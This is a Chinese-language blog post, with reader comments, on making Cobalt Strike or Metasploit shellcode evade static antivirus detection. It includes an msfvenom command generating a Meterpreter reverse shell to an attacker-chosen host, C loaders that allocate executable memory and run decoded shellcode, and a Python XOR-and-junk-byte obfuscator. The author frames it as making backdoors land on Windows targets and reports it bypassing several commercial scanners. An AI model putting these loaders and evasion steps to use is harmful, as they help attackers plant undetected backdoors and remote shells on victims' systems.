加载混淆的shellcode实现静态免杀

文章最后更新时间为:2020年05月27日 17:49:53

由于各种av的限制,我们在后门上线或者权限持久化时很容易被杀软查杀,容易引起目标的警觉同时暴露了自己的ip。尤其是对于windows目标,一个免杀的后门极为关键,如果后门文件落不了地,还怎么能进一步执行呢?

关于后门免杀,网上的介绍已经很多了,原理其实大同小异。笔者最近看了不少相关文章,打算以自己的理解一步步写一个简单的免杀demo。本文将使用cobalt strike和msf中的shellcode为后门基础,探讨一下静态免杀的原理和方法。

1.静态查杀原理

病毒检测一般分为静态特征查杀、动态行为检测。大部分杀毒软件还包括云查杀,本质上可归类为静态查杀,卡巴斯基还有机器学习检测,笔者不是很清楚其实现方式,但应该属于静态查杀。

静态查杀,本质上是对文件特征码的检测和查杀。病毒库中存储着病毒所具有的独一无二的特征字符,我们称之为特征码。当杀毒软件检测到文件中包含病毒特征码后则代表检测到病毒。

随着杀毒软件的升级,特征码的定位已经不仅仅是基于字符串或者正则来实现,现在已经衍生出各种文件扫描技术。比如在文件扫描中忽略像NOP这种无意义的指令,对于文本格式的脚本病毒或宏病毒,则可以替换掉多余的格式字符,例如空格、换行符或制表符等。

但本质上静态查杀还是特征码的定位,如果我们能够使用加壳改壳、添加/替换资源、加密Shellcode等方式去除文件中的特征码,则可以很轻松绕过静态查杀。

2. 静态免杀demo

对于msf或者cs,其shellcode的特征早已躺在各大av的库中,笔者将以这两者生成的shellcode为基础,实现静态免杀。

首先我们生成shellcode:

msf:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.136.129 LPORT=4444 -f c -o shell.c

cobalt:
Attacks --> Packages --> Payload Generator --> 选择x64 C格式

以下测试中默认情况下使用msf生成的shellcode。

2.1 直接加载shellcode

关于shellcode的加载方式可以看 shellcode加载总结

首先我们使用C语言直接加载shellcode执行:

#include <windows.h>
#include <stdio.h>
typedef void(_stdcall* CODE)();
//下面的语句作用是执行时不弹框
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"

void main(){
    PVOID p = NULL;
    //申请一段内存
    p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (p == NULL){
        return;
    }
    // 将shellcode拷贝到申请的内存中
    memcpy(p, shellcode, sizeof(shellcode));
    //跳转执行到shellcode
    CODE code = (CODE)p;
    code();
}

火绒和360直接报毒,打开文件夹一看,卡巴斯基把文件都给删了~

这样肯定是不行的

2.2 编码+混淆处理

其实静态免杀很简单,无非就是修改特征,加密,亦或,增加随机字符混淆,增加花指令,加壳等。不管怎么做目的都是为了让shellcode
面目全非。

我们首先来改造shellcode,我觉得没必要搞那么复杂,关键是要独一无二。这里我只是使用了亦或加密+增加随机字符来混淆shellcode,在程序执行时再对shellcode解码。

首先我们先混淆shellcode,为了方便我使用了python:


def xor(shellcode, key):
    new_shellcode = ""
    key_len = len(key)
    # 对shellcode的每一位进行xor亦或处理
    for i in range(0, len(shellcode)):
        s = ord(shellcode[i])
        p = ord((key[i % key_len]))
        s = s ^ p  # 与p异或,p就是key中的字符之一
        s = chr(s) 
        new_shellcode += s
    return new_shellcode

def add_random_code(shellcode, key):
    new_shellcode = ""
    key_len = len(key)
    # 每个字节后面添加随机一个字节,随机字符来源于key
    for i in range(0, len(shellcode)):
        new_shellcode += shellcode[i]
        new_shellcode += key[i % key_len]
    return new_shellcode


# 将shellcode打印输出
def str_to_hex(shellcode):
    raw = ""
    for i in range(0, len(shellcode)):
        s = hex(ord(shellcode[i])).replace("0x",'')
        if len(s) == 1:
            s = "0" + s
        raw =raw + "\\x" + s
    return raw


shellcode = ""

# 这是异或和增加随机字符使用的key,为了提高复杂度也可以使用两个key
key = "fdaufdiqe" 

# 首先对shellcode进行异或处理
shellcode = xor(shellcode, key)

# 然后在shellcode中增加随机字符
shellcode = add_random_code(shellcode, key)

# 将shellcode打印出来
print(str_to_hex(shellcode))

然后使用C语言加载混淆后的shellcode,解码,执行。

#include <windows.h>
#include <stdio.h>
typedef void(_stdcall* CODE)();
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char shellcode[] = "\x9a\x66\x2c\x64\xe2\x61\x91\x75";

void main()
{
    int shellcode_size = 0; //原始shellcode长度
    int shellcode_final_size = 0; //解码之后的shellcode长度
    char key[] = "fdaufdiqe";
    int j;
    int key_size = sizeof(key) - 1;
    unsigned char* shellcode_final;

    // 获取shellcode大小
    shellcode_size = sizeof(shellcode);
    // 根据加密之后shellcode的大小可以推算出解码之后的大小为(shellcode_size + 1) / 2
    shellcode_final_size = (shellcode_size + 1) / 2;
    shellcode_final = (char*)malloc(shellcode_final_size);
    
    //首先去除垃圾代码,将结果保存在shellcode_final
    j = 0;
    for (int i = 0; i < shellcode_size; i++) {
        if (i % 2 == 0) {
            shellcode_final[j] = shellcode[i];
            j += 1;
        }
    }

    //然后进行异或处理,还原shellcode
    for (int i = 0; i < shellcode_final_size; i++) {
        shellcode_final[i] ^= key[i % key_size];
    }

    PVOID p = NULL;
    p = VirtualAlloc(NULL, shellcode_final_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (p == NULL)
    {
        return;
    }
    memcpy(p, shellcode_final, shellcode_final_size);

    CODE code = (CODE)p;
    code();
}

运行结果:(完美过卡巴,360和火绒的静态查杀,但是没过卡巴斯基的行为检测,可恶~)

demo.gif

virscan查杀:1/49

https://r.virscan.org/language/zh-cn/report/4766957003edf1df59ccc0cec35f2e32

virustotal查杀 8/71

https://www.virustotal.com/gui/file/2d675c4893d7a0e8dd4ab2c818051cf4395aab204afc2d7a66d56d903e8200bd/detection

报毒的部分,应该都是基于沙箱动态查出来的。

根据倾旋大佬的博客,还可以做以下修改:

  • 在申请内存页时,一定要把控好属性,可以在Shellcode读入时,申请一个普通的可读写的内存页,然后再通过VirtualProtect改变它的属性 -> 可执行
  • 使用InterlockedXorRelease函数来做异或运算
  • 随机等待几秒?

改一改上面的代码,最终结果如下:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
typedef void(_stdcall* CODE)();
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char shellcode[] = "\x9a\x66\x2c\x64";


void main()
{
    int shellcode_size = 0; //原始shellcode长度
    int shellcode_final_size = 0; //解码之后的shellcode长度
    char key[] = "fdaufdiqe";
    int j;
    int key_size = sizeof(key) - 1;
    unsigned char* shellcode_final;
    DWORD dwOldProtect; // 内存页属性

    // 获取shellcode大小
    shellcode_size = sizeof(shellcode);
    // 根据加密之后shellcode的大小可以推算出解码之后的大小为(shellcode_size + 1) / 2
    shellcode_final_size = (shellcode_size + 1) / 2;
    shellcode_final = (char*)malloc(shellcode_final_size);
    
    //首先去除垃圾代码,将结果保存在shellcode_final
    j = 0;
    for (int i = 0; i < shellcode_size; i++) {
        if (i % 2 == 0) {
            shellcode_final[j] = shellcode[i];
            j += 1;
        }
    }

    //然后进行异或处理,还原shellcode
    for (int i = 0; i < shellcode_final_size; i++) {
        _InterlockedXor8(shellcode_final + i, key[i % key_size]); //这里异或还原
    }
    Sleep(rand(100));//随机增加点sleep
    PVOID p = NULL;
    p = VirtualAlloc(NULL, shellcode_final_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 只申请可读可写
    if (p == NULL){
        return;
    }
    
    memcpy(p, shellcode_final, shellcode_final_size);
    // 修改内存属性
    VirtualProtect(p, shellcode_final_size, PAGE_EXECUTE, &dwOldProtect);
    Sleep(rand(100));//随机增加点sleep
    CODE code = (CODE)p;
    code();
}

3. 后记

不太推荐只使用msfvenom对shellcode进行编码,因为其解码方式也写在shellcode中,而且各大厂商也盯得紧,还不如自己写个加密。

以上我只是用了异或+随机数字混淆的方式,加密方式可以自定义,尽量做到小众、独创,然后只要在运行时解码就行了。

样本上传云查杀后,这种免杀方法一般没多久就失效了,建议生成shellcode时不要使用自己的服务器ip,有暴露的风险。

参考

1 + 8 =
8 评论
    ash Chrome 93 Windows 10
    2021年12月25日 回复

    师傅,在python代码那里,不是已经写了shellcode了,那为什么还要再打印输出另外一个shellcode呢

    qwq Chrome 88 Windows 10
    2021年03月08日 回复

    大哥,刚刚又试了一下。编译可以通过但是无法上线=。=

      qwq Chrome 88 Windows 10
      2021年03月08日 回复

      @qwq 可以了,被杀了,谢谢大哥提供的思路:),解码时候的密钥忘记改了。

        saucerman Chrome 87 Linux
        2021年03月08日 回复

        @qwq 。。。

          qwq Chrome 88 OSX
          2021年03月08日 回复

          @saucerman 大哥,加载混淆相关的资料能推荐一下嘛,最近在学习,d2hpdGVoYXQuMHgwMUBnbWFpbC5jb20=

    qwq Chrome 88 Windows 10
    2021年03月02日 回复

    大哥,复现的时候,报错,C++ invalid conversion from ‘char’ to ‘const unsigned char

      saucerman Chrome 87 Linux
      2021年03月02日 回复

      @qwq 这是C语言

        qwq Chrome 88 OSX
        2021年03月08日 回复

        @saucerman 嗷嗷,我是用dev-c++编译的,忘记改后缀了,谢谢大哥,我去试试,有没有其他的方式学习学习